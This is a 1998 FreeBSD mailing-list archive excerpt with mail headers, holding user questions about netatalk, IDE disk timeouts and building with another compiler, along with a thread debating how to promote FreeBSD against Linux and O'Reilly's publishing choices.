21:31:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gamma.aei.ca (root@gamma.aei.ca [206.123.6.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA02160 for ; Thu, 9 Apr 1998 21:30:45 -0700 (PDT) (envelope-from malartre@aei.ca) Received: from aei.ca (aeiusrG-27.aei.ca [206.186.205.77]) by gamma.aei.ca (8.8.5/8.8.5) with ESMTP id AAA00620 for ; Fri, 10 Apr 1998 00:30:39 -0400 (EDT) Message-ID: <352DA070.6CC8D777@aei.ca> Date: Fri, 10 Apr 1998 00:30:40 -0400 From: KapuT X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: FreeBSD-Questions@FreeBSD.ORG Subject: How many people use FreeBSD and *who*? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How many people use FreeBSD and *who*? Someone have statistic, sales of Walnut Creek or anything? And someone know *who* (user, admin, server operator...) cya N0WAY -- --------------------------------------------------- malartre@aei.ca ICQ #4224434 www.aei.ca/~malartre/ FreeBSD 4 Newbies project Windows_95-B Unix FreeBSD-2.2.5-RELEASE --------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:31:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA02279 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:31:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA02137 for ; Thu, 9 Apr 1998 21:30:41 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node39.mpc.com.br [200.246.0.39]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id BAA19627; Fri, 10 Apr 1998 01:29:35 -0300 (EST) Message-Id: <3.0.32.19980410125436.009d1100@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 10 Apr 1998 13:24:02 -0300 To: "Costa Morris" , From: Capriotti Subject: Re: netatalk Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 04:17 PM 4/9/98 -0400, Costa Morris wrote: >i get these errors when i try running netatalk.sh: > >Apr 9 15:13:52 inner afpd[1621]: Can't register inner:AFPServer@* > >any ideas? > >i'm running 2.2.5R with netatalk options in kernel. > > Hi, costa ! Have you applied all the patches to your system ? Take a look at errata.txt, under the 2.2.5 branch, on the ftp site. But I had a similar problem when my network card was not connected/found. Does your network work ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:33:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA03530 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:33:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA03351 for ; Thu, 9 Apr 1998 21:33:00 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from execpc.com (lafra-118.mdm.mke.execpc.com [169.207.86.118]) by mailgw01.execpc.com (8.8.8) id EAA07453; Fri, 10 Apr 1998 04:32:56 GMT Received: (from fpawlak@localhost) by execpc.com (8.8.8/8.8.8) id XAA00382; Thu, 9 Apr 1998 23:32:56 -0500 From: "Frank Pawlak" Message-Id: <980409233256.ZM381@execpc.com> Date: Thu, 9 Apr 1998 23:32:56 -0500 In-Reply-To: Dan Nelson "Re: Your Article "Freeware: The Heart & Soul of the Interne" (Apr 9, 10:45pm) References: <199804092124.OAA00915@dingo.cdrom.com> <199804092140.PAA04541@lariat.lariat.org> <199804092230.MAA04112@rocksalt.mui.net> <19980409224502.A15297@emsphone.com> X-Mailer: Z-Mail (5.0.0 30July97) To: Dan Nelson , ken@mui.net, freebsd-questions@FreeBSD.ORG Subject: Re: Your Article "Freeware: The Heart & Soul of the Interne MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 9, 10:45pm, Dan Nelson wrote: > Subject: Re: Your Article "Freeware: The Heart & Soul of the Interne > In the last episode (Apr 09), ken@mui.net said: > > > > Once I got it, a few things I noticed. Linux support is awesome in > > many ways. If you have a question, simply go to the irc. There's > > tons of people always there, always helpful. > > > > That's one major difference. There's very little presence on the > > FreeBSD side (on the irc). > > /me checks his IRC logs.. No-one from *.mui.net has joined #FreeBSD in > the last year.. I'm in #FreeBSD on efnet most days, and it's been > averaging around 60 people, up from ~40 last year. A few of them are > usually willing to answer questions, although we sometimes get tired of > PPP questions.. I go for odd compiler or hardware problems, myself. > > > Newsgroup support via linux is also pretty good. FreeBSD doesn't > > seem to have much there. > > comp.unix.freebsd.* gets a couple hundred posts a day. Visible enough > for me. > > > 6- Linux is starting to be written in lots of books. There's no link > > to FreeBSD. No logical step for someone. If they have DOS, then > > it's logical to get win31. if win31, then win95. If linux, then > > redhat. perhaps if redhat, then FreeBSD . Greg Lehey's book > > is a good start. It references FreeBSD specifically. There needs to > > be more to get popular. O'Reilly would be a good place to try to > > drum up support, perhaps. > > The reason for this is that FreeBSD wasn't created from scratch like > Linux. Any book on 4.4BSD applies almost directly to FreeBSD, and > there are a lot of papers on different parts of BSD Unix. They just > don't have 'FreeBSD' written on them. > > -Dan Nelson > "Genesys" on #FreeBSD > dnelson@emsphone.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >-- End of excerpt from Dan Nelson Compared to the books on Linux the 4.4BSD books are way over the head of Joe User. Greg Lehey's book is a gem, and that is the kind of thing that is needed. Something to get people beyond the idea that UNIX is hard to do. It is not Windblows but not rocket science either. >From the new user point of view a hand hold like Matt Welsh's Running Linux is what needs to be done. Frank To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:37:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA04601 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:37:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from send1c.yahoomail.com (send1c.yahoomail.com [205.180.60.38]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id VAA04561 for ; Thu, 9 Apr 1998 21:37:19 -0700 (PDT) (envelope-from adamfurman@yahoo.com) Message-ID: <19980410043816.14011.rocketmail@send1c.yahoomail.com> Received: from [199.224.7.122] by send1c; Thu, 09 Apr 1998 21:38:16 PDT Date: Thu, 9 Apr 1998 21:38:16 -0700 (PDT) From: Adam Furman Reply-To: afurman@amf.net Subject: wd0 Kernel Errors To: freebsd-questions@FreeBSD.ORG Cc: freebsd-hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I started getting these errors messages in my message log the other night. I dediced the box should be rebooted and I do so. After I rebooted the box the box lasted for no more then 1 hour. After that it stayed in a hanging mode for the rest of the night. In the morning I did the same thing and rebooted the box and again lasted for no more then 1 hour. It started to go down in time. I would like to know if this is the hard drive or the motherboard IDE controller built right into the board can be going. PLEASE let me know. Also while this was all happening the drive can no longer boot on it own. Can you please tell me how to fix that also. Must use a boot disk. The version of FreeBSD is 2.2.5 Stable running on a Penitum 133 with 128megs of Ram and a 7GIG Maxtor Drive about 3-4 months old. WIth the motherboard being about 2 1/2 years old. Please send back to my YAHOO and AMF.net email address. Thanks Adam Apr 8 21:14:11 delsol /kernel: wd0a: wdstart: timeout waiting forDRQ writing fsbn 131142 of 131136-131151 (wd0 bn 655430; cn 693 tn 8 sn 41)wd0: status 50 error 0 Apr 8 21:14:15 delsol /kernel: wd0: interrupt timeout: Apr 8 21:14:30 delsol /kernel: wd0: status 50 error 0 Apr 8 21:14:30 delsol /kernel: wd0s1e: wdstart: timeout waiting forDRQ writing fsbn 65602 of 65600-65615 (wd0s1 bn 794690; cn 840 tn 14 sn 8)wd0: status 50 error 1 Apr 8 21:14:30 delsol /kernel: wd0: interrupt timeout: Apr 8 21:14:45 delsol /kernel: wd0: status 50 error 1 Apr 8 21:14:45 delsol /kernel: wd0s1e: wdstart: timeout waiting forDRQ writing fsbn 65610 of 65600-65615 (wd0s1 bn 794698; cn 840 tn 14 sn 16)wd0: status 50 error 1 _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:43:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA06773 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:43:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA06599; Thu, 9 Apr 1998 21:43:02 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id XAA03386; Thu, 9 Apr 1998 23:42:31 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804100442.XAA03386@dyson.iquest.net> Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <980409231705.ZM267@execpc.com> from Frank Pawlak at "Apr 9, 98 11:17:05 pm" To: fpawlak@execpc.com (Frank Pawlak) Date: Thu, 9 Apr 1998 23:42:25 -0500 (EST) Cc: toor@dyson.iquest.net, jkh@time.cdrom.com, dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Apr 9, 10:03pm, John S. Dyson wrote: > > > > > Each of 'em seems like a Borg nano-probe :-). (Re: StarTrek Voyager :-)). > > > > John > >-- End of excerpt from John S. Dyson > > I'll have to have my wife give me a translation of this. She is the StarTrek > person in the family. I barely know what a Borg is let alone a nano-probe. > Regards, > Frank > They are little cyborg entities flowing around in Borg bloodstreams used to affect the assimilation process among other things. I am attributing the typical individual zealot as being about as important as one of the nano-probes (to the larger collective -- and will be sacrificed if it is valuable to the collective), all together they have a significant effect. This is an assimilation process, where it is a war between the Linux world and the rest of software. It just seems that Microsoft is the big target, but don't be tricked into thinking that war is "freedom" vs. "domination." Linux and Microsoft are various forms of domination at war. Microsoft wants to have all your money, while the GPL movement wants to socialize inventiveness. The GPL is not Netscape's friend. Their upper mgmt doesn't appear to realize it. We need to continue growing the free software movement (and the associated freedom of individuals), and not be left out in the cold. The Linux thing is NOT a free software movement, but is an evangelistic pseudo-religion. It wouldn't suprise me that the same people who might be susceptible to a cult are the same people evangelizing whatever OS that they have adopted. No OS is immune to this, but Linux appears to have more than it's fair share. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:56:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA10021 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:56:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.realtime.net (mail1.realtime.net [205.238.128.217]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id VAA09753 for ; Thu, 9 Apr 1998 21:55:27 -0700 (PDT) (envelope-from jktheowl@bga.com) Received: (qmail 38734 invoked from network); 10 Apr 1998 04:55:20 -0000 Received: from zoom.realtime.net (HELO zoom.bga.com) (root@205.238.128.40) by mail1.realtime.net with SMTP; 10 Apr 1998 04:55:20 -0000 Received: from barnowl (apm5-185.realtime.net [205.238.146.185]) by zoom.bga.com (8.6.12/8.6.12) with SMTP id XAA07760; Thu, 9 Apr 1998 23:55:11 -0500 Date: Fri, 10 Apr 1998 00:01:50 -0500 (CDT) From: John Kenagy X-Sender: jktheowl@barnowl Reply-To: John Kenagy To: Open Systems Networking cc: questions freebsd , hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My response to everything bing said. Yesss!!! To all!!! I'm an olde fart ex-system flogger from way back. All of what everyone is saying is needed. It is marketing, marketing, marketing.... It does *not matter* how good your product is. You *will* be run over by a big marketing machine. But when it is real good, like FreeBSD, you do have something that treated right, could be a silver bullet. 1. Pedigree. When I got back to playing with computers & began looking about for something like vi to edit with under windows, I found Linux. "A unix like..." Then stumbled across FreeBSD, a joke? Well, reading further, I discovered emacs and a lot of other stuff I recognized. But, what pulled me in was the BSD pedigree, and that *alone*! I may get flamed for this but I cannot think of Linux as anything more than a cute little pc os. I don't run games. I *did* have to support customers whose livelyhood depended on their computers running every day - no exceptions. That meant a real OS with real depth. Any operating system whose kernel is controlled by one person, libraries provided by second, third, fourth parties or *whatever*, and applications from yet other sources, well that is a recipe for failure. I had to learn that lesson the hard way. Your operating system should be invisible, flawless, and d-e-p-e-n-d-a-b-l-e. This FreeBSD is a "lead pipe" cinch winner. I cannot say it has *ever* failed in almost two years of using it. I was one of the first AT&T value added resellers in Los Angeles. I cannot make the same claim of dependability about the SV based accounting systems we sold. Period. 2. Dependable. Users can be as "bleeding edge" or as conservative as they wish. Dependability is available with FreeBSD. Linux is... I'm not sure where. I think a mirage. So, you've got pedigree and dependability. You need suits. PR and an appeal to the conservative and corporate. I'm going to cast about here in Austin and see what I can discover. All I need is a heartbeat and a dialtone. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:56:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA10314 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:56:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ppp6518.on.bellglobal.com (ppp6518.on.bellglobal.com [206.172.208.110]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA10187; Thu, 9 Apr 1998 21:56:13 -0700 (PDT) (envelope-from ac199@hwcn.org) Received: from localhost (tim@localhost) by ppp6518.on.bellglobal.com (8.8.8/8.8.8) with SMTP id AAA03130; Fri, 10 Apr 1998 00:54:27 -0400 (EDT) (envelope-from ac199@hwcn.org) X-Authentication-Warning: ppp6518.on.bellglobal.com: tim owned process doing -bs Date: Fri, 10 Apr 1998 00:54:26 -0400 (EDT) From: Tim Vanderhoek X-Sender: tim@localhost Reply-To: ac199@hwcn.org To: Open Systems Networking cc: "Jordan K. Hubbard" , David Shanes , Brett Glass , freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Open Systems Networking wrote: > wheels but going nowhere. Well maybe slooowly we are. But we need to get a > game plan going and attack with teeth. But stick to facts. I think we just > need a PR plan. We need to organize an assault :) Do many local public libraries accept donations? I've thought before this would be a great way to increase FreeBSD's availability, done en masse. No organized assault, just many little things. :) -- tIM...HOEk OPTIMIZATION: the process of using many one-letter variables names hoping that the resultant code will run faster. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:00:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA12206 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:00:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA12180; Thu, 9 Apr 1998 22:00:42 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (lafra-110.mdm.mke.execpc.com [169.207.86.110]) by mailgw01.execpc.com (8.8.8) id FAA09195; Fri, 10 Apr 1998 05:00:36 GMT Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id AAA00323; Fri, 10 Apr 1998 00:00:35 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100500.AAA00323@darkstar.connect.com> Date: Fri, 10 Apr 1998 00:00:34 -0500 (CDT) To: jdn@acp.qiv.com Cc: fpawlak@execpc.com, toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re[4]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jay Nelson wrote: > On Thu, 9 Apr 1998, Frank Pawlak wrote: > > >Jay Nelson wrote: > >> On Thu, 9 Apr 1998, John S. Dyson wrote: > >> > >> [snip] > >> > >> >The problem with FreeBSD, is that people working on FreeBSD are > >> generally > >> >older, and find evangelism to be painful. Also, people using > FreeBSD > >> >are busy using it, as opposed to worshipping it. > >> > > >> >How do we (really) deal with this? > >> > >> I suggest we don't evangelize, per se > >> > > > >Oh but we must!! > > I'm not convinced we must. The evangelical furor is normally > associated with the more inexperienced "true believers" than mission > critical. How do you wish to define evangelization? If you want to spread the word you need a mouth piece. Either way you cut it you evangelize to some degree. > > >> I agree that most of use are > >> older -- and it appears that most of use deal with real clients in > the > >> real world. The cost of an OS is the scheme of the commercial world > is > >> not a deciding factor. Support and reliability is a major factor. > > > >You hit on a key fact here and that is support. Please don't take > what > >I am going to say as a criticism. Because FreeBSD users are older > and > >thus more experienced I think it is often taken for granted that > every > >user is at the same level of expertise, which is simply not the case. > >Further there is an attitude and in some ways correctly so that RTFM > is > >the order of the day. There is a lot of truth to the addage that > give a > >man a fish and you will have to feed hin forever, but teach him to > fish > >and he will be able to feed himself. However, I have noticed some > >seemingly stupid guestions that go unanswered or ignored completely. > I > >have asked several of these myself even after RTFM.... and just > didn't > >get it so to speak. I am guilty of the terse answer RTFM mind set, > and > >I had a lady administer a public flogging to me on this mailing list > >this past week because of it. > > I don't think it is taken for granted that all users are experienced > as much as lack of time or experience of those on the list. For > example, I see a number of questions go by about sound cards. I don't > use sound cards, so I have nothing to contribute. I was thinking in terms of some very elementry install questions. Yes most of these -- how do I install FreeBSD -- don't deserve on answer. However, as the user community grows, especially in corporate, support becomes critical. In the corporate world they are always looking for who is going to take the bullet when the wheels come off. Why do you suppose IBM was so domininant in Mainframes when it was well known that Burroughs had better technology. IBM was there to take the heat when things went to hell, and Burroughs would shine around at their leasure. > > > >It is understandable that the population of the newsgroup and mailing > >lists are busy, but to reach the newbe and a larger user community > more > >patience with the user whose UNIX knowledge is at the orangutan level > >will be required. I have worked in the computer user industry for > many > >years, and the one thing that I realized early on is the UNIX scares > the > >hell out of most people. It has a reputation for be criptic, etc. > What > >I would propose would be some volunteers to take these questions and > >patiently answer them to maintain user retention, and don't let them > >slip off to Linux becuse of the mis-apprehension that it is better > >supported. And that belief is out there partialy because of the > volumes > >of books on the shelves devoted to Linux, most of which are nothing > more > >than a statement of environmental waste in all the trees destroyed to > >provide the paper for them. > > I can't really disagree -- but the recognition that counts comes from > corporate -- not the user. Corporate doesn't read the Linux books and > doesn't really care how cryptic and OS may be. I don't think Unix will > ever make inroads on the desktop, largely because of the perceptions > you mention until there is a clear corporate reason to do so. Oh yea, what about the developer that needs the power, they are going to get what they want (need). That is a pretty good user group to have in camp in my not so humble opinion ;-) > > As far as the newbie goes, I don't have a good suggestion. A multiuser > system is inherently more complex than a single user executive. It > requires more of a user who wants to enjoy the benefits. Many don't > want to invest the effort. > > >Overall I believe that the support offered for FreeBSD is of a higher > >quality that that of the Linux newsgroups. There is a lot of > bulljive > >passed for expertise on their NGs. So we have a strong base to build > >upon. We have a pedagree UNIX -- oops -- with a rich heritage not a > >clone. Some marketing and market presence will get the word out. No > >reason for FreeBSD to take the back seat to any OS. We have a great > >story to tell. > > The consideration comes down to whom we wish to appeal (and even why > we want to appeal.) I think an appeal to corporate via press releases > and trade rags is the best approach. A necessary approach in any case! Frank > > -- Jay > > >----------------snip > >> > >> What I suggest is this: > >> > >> First -- Jordan -- since you're the main man in this, put the > pencil > >> to the paper and figure out what it would cost to mount a program > of > >> professional news releases -- including customer profiles. Look at > the > >> number of CD-ROMS sold and divide cost by CDs and add to CD cost. > Look > >> at the newsletter and consider subscription. Most of us can afford > >> some extra bucks and would be happy to spend it for the > credibility. > >> Think in terms of two to three times per month for the news > releases. > >> > >> Second: poll the rest of us for contributions. Many of us are using > >> FreeBSD in production environments. (Yeah, I'll volunteer -- even > >> though I can't write worth a plug nickle.) > > > >I'll go along with this. I can't code but would be willing to do my > >part. > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-hackers" in the body of the message > > > > -- Jay To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:07:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA13764 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:07:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA13758; Thu, 9 Apr 1998 22:07:48 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id OAA16846; Fri, 10 Apr 1998 14:37:44 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id OAA01386; Fri, 10 Apr 1998 14:37:43 +0930 (CST) (envelope-from grog) Message-ID: <19980410143743.25913@freebie.lemis.com> Date: Fri, 10 Apr 1998 14:37:43 +0930 From: Greg Lehey To: Brett Glass , Mike Smith , David Shanes Cc: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: <199804092124.OAA00915@dingo.cdrom.com> <025301bd63fb$0b94bc80$1d43a8c0@shanes.personalogic.com> <199804092124.OAA00915@dingo.cdrom.com> <19980410113536.65458@freebie.lemis.com> <199804100428.WAA09649@lariat.lariat.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804100428.WAA09649@lariat.lariat.org>; from Brett Glass on Thu, Apr 09, 1998 at 10:28:12PM -0600 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 22:28:12 -0600, Brett Glass wrote: > At 11:35 AM 4/10/98 +0930, Greg Lehey wrote: > >> Tim knows about Jordan, despite his message. We've repeatedly tried >> to get them interested in BSD, but there's something at ORA that >> resists. > > It is, as usual, the "almighty dollar." That alone wouldn't explain it. > ORA sees the Linux market as larger, and therefore favors it. They publish books. Just because they publish books doesn't mean that they can't also publish books on BSD. In fact, O'Reilly Germany *are* planning a BSD book, but I haven't seen much about it for a while. The closest I could find to a real concern was that their 4.4BSD manual set didn't sell nearly as well as they had expected. I have contacts at ORA via my book "Porting UNIX software". They're not all against BSD, but the Powers that Be are. >> I've just about given up with ORA. They seem to be relinquishing >> their position as the favourite UNIX publisher and chasing the NT >> crowd. > > More proof, alas, that they're chasing what they believe to be the > largest market. That's my take too. Greg -- See complete headers for address and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:12:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA15189 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:12:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gforce.bellsouth.net (host-209-138-33-163.msy.bellsouth.net [209.138.33.163]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA15165 for ; Thu, 9 Apr 1998 22:12:12 -0700 (PDT) (envelope-from glenn@bellsouth.net) Received: from gforce.bellsouth.net (localhost [127.0.0.1]) by gforce.bellsouth.net (8.8.8/8.8.8) with ESMTP id AAA07340 for ; Fri, 10 Apr 1998 00:12:05 -0500 (CDT) (envelope-from glenn@gforce.bellsouth.net) Message-Id: <199804100512.AAA07340@gforce.bellsouth.net> X-Mailer: exmh version 2.0.2 2/24/98 To: freebsd-questions@FreeBSD.ORG From: Glenn Johnson Subject: specifying compiler for "make world" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Apr 1998 00:12:04 -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Now I realize that doing a "make world" with egcs or gcc-2.8 is probably asking for trouble, but how would I specify to the make file(s) that I want to use a different compiler? Thanks. -- Glenn Johnson gljohns@bellsouth.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:21:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA16397 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:21:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA16386 for ; Thu, 9 Apr 1998 22:21:23 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id OAA16868; Fri, 10 Apr 1998 14:50:35 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id OAA01458; Fri, 10 Apr 1998 14:50:35 +0930 (CST) (envelope-from grog) Message-ID: <19980410145034.55532@freebie.lemis.com> Date: Fri, 10 Apr 1998 14:50:34 +0930 From: Greg Lehey To: Frank Pawlak , Dan Nelson , ken@mui.net, freebsd-questions@FreeBSD.ORG Subject: Re: Your Article "Freeware: The Heart & Soul of the Interne References: <199804092124.OAA00915@dingo.cdrom.com> <199804092140.PAA04541@lariat.lariat.org> <199804092230.MAA04112@rocksalt.mui.net> <19980409224502.A15297@emsphone.com> <980409233256.ZM381@execpc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <980409233256.ZM381@execpc.com>; from Frank Pawlak on Thu, Apr 09, 1998 at 11:32:56PM -0500 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 23:32:56 -0500, Frank Pawlak wrote: > On Apr 9, 10:45pm, Dan Nelson wrote: >>> 6- Linux is starting to be written in lots of books. There's no link >>> to FreeBSD. No logical step for someone. If they have DOS, then >>> it's logical to get win31. if win31, then win95. If linux, then >>> redhat. perhaps if redhat, then FreeBSD . Greg Lehey's book >>> is a good start. It references FreeBSD specifically. There needs to >>> be more to get popular. O'Reilly would be a good place to try to >>> drum up support, perhaps. >> >> The reason for this is that FreeBSD wasn't created from scratch like >> Linux. Any book on 4.4BSD applies almost directly to FreeBSD, and >> there are a lot of papers on different parts of BSD Unix. They just >> don't have 'FreeBSD' written on them. > > Compared to the books on Linux the 4.4BSD books are way over the head of Joe > User. Greg Lehey's book is a gem, and that is the kind of thing that is > needed. Thanks. Unfortunately, ORA doesn't even start to agree with you. They've repeatedly turned down offers of taking over publication, and even of looking at the book. ORA Germany took a copy, and liked it, but they wouldn't be able to publish it in Germany. Greg -- See complete headers for address and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:25:41 1998 